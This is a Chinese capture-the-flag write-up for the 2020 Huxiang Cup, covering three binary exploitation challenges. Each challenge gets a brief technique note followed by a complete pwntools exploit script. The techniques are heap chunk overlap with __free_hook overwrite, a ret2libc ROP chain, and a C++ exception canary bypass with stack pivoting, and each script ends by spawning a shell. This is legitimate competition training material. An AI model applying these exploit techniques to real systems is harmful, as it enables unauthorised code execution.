pwn-湖湘杯2020

这比赛神仙真多~~

babyheap

通过unsortbin伪造prev_szie，unlink,chunoverlop

from pwn import *
p=process('./bh')
elf=ELF('./bh')
libc=elf.libc
context.terminal=['tmux','splitw','-h']

def menu(idx):
    p.sendlineafter(">>",str(idx))
def add():
    menu(1)
def show(idx):
    menu(2)
    p.sendlineafter("index?\n",str(idx))
def edit(idx,size,payload):
    menu(3)
    p.sendlineafter("index?\n",str(idx))
    p.sendlineafter("Size:\n",str(size))
    p.sendafter("Content:\n",payload)
def delete(idx):
    menu(4)
    p.sendlineafter("index?\n",str(idx))
for i in range(12):
    add()
for i in range(7):
    delete(i)
delete(8)
delete(9)
delete(10)
#gdb.attach(p,'b *$rebase(0x000A06)')
#free(7)
for i in range(10):
    add()
for i in range(7):
    delete(i)
delete(8)
edit(9,0xf8,'a')
delete(10)
for i in range(8):
    add()
show(9)
libcbase=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['__malloc_hook']-0x10-96
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
add()#9=10
delete(9)
edit(10,0x30,p64(free_hook))
add()
add()
edit(1,0x30,'/bin/sh\x00')
edit(12,0x30,p64(system))
delete(7)
p.interactive()

pwn_printf（VMpwn

一道经典的VMpwn，首先我们看到main函数的末尾有一个函数

我们肯定是要走到这里的肯定是要v12的的值小于0x20了前面一大堆格式化字符可以慢慢分析得到是一个

关注到rdx的值是由rdi传递过去的所以我们只要多加一次pop_rdi就可以控制rdx了然后就是ret2libc了

from pwn import *
context.terminal=['tmux','splitw','-h']

#sh=process('./pwn_printf')
p=remote('47.111.104.99',52606)
elf = ELF("./pwn_printf")
libc=elf.libc
pop_rdi=0x0000000000401213
p.recvuntil(0x56)
p.sendline("82")#1
sleep(0.2)
p.sendline("90")#2
sleep(0.2)
p.sendline("90")#3
sleep(0.2)
p.sendline("90")#4
sleep(0.3)
p.sendline("120")#5
sleep(0.2)
p.sendline("90")#6
sleep(0.2)
p.sendline("22")#7
sleep(0.2)
p.sendline("22")#8
sleep(0.2)
p.sendline("22")#9
sleep(0.2)
p.sendline("118")#10
sleep(0.2)
p.sendline("109")#11
sleep(0.2)
p.sendline("1")#12
sleep(0.2)
p.sendline("7")#13
sleep(0.2)
p.sendline("1")#14
sleep(0.2)
p.sendline("1")#15
sleep(0.2)
p.sendline("22")
payload = "doudou".ljust(8,'a')+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(pop_rdi)+p64(0x30)
p.sendline(payload)
p.recvuntil("\n")
libcbase=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['puts']
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
bin_sh=libcbase+libc.search('/bin/sh').next()
payload="doudou".ljust(8,'a')+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

blend pwn

考的是c++异常处理绕过canary，然后通过栈迁移来的到shell

rom pwn import *
context.terminal=['tmux','splitw','-h']
p=process('./blend_pwn')
#p=remote('47.111.104.169',57504)
elf=ELF('./blend_pwn')
libc=elf.libc

def menu(idx):
        p.sendlineafter('>',str(idx))

def show_name():
        #p.sendlineafter()
        menu(1)

def add(data):
        menu(2)
        p.sendlineafter(':',data)

def delete(idx):
        menu(3)
        p.sendlineafter('>',str(idx))

def show():
        menu(4)

def gift(data):
        menu(666)
        p.sendafter(':',data)

context(arch='amd64',os='linux')
p.sendlineafter(': ','%11$p')
#libcbase=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['__libc_start_main']
#gdb.attach(p,'b *$rebase(0x0001181)')
show_name()
p.recvuntil('user:')
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
pop_rdi=libcbase+libc.search(asm('pop rdi\nret')).next()
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
bin_sh=libcbase+libc.search('/bin/sh').next()
one_gg = 0x4526a+libcbase
payload=p64(0)*5+p64(pop_rdi)+p64(bin_sh)+p64(system)*2
add(payload)
add("doudoudoudou")
delete(0)
delete(1)
show()
p.recvuntil('2:')
heap=u64(p.recv(6)+'\x00\x00')
log.success('libcbase: '+hex(libcbase))
log.success('heap: '+hex(heap))
payload='a'*0x20+p64(heap)
gdb.attach(p,'b *$rebase(0x0000012D0)')
gift("a"*0x20+p64(heap+0x30)+'\x1c')
log.success('o_g: '+hex(one_gg))
p.interactive()
print heap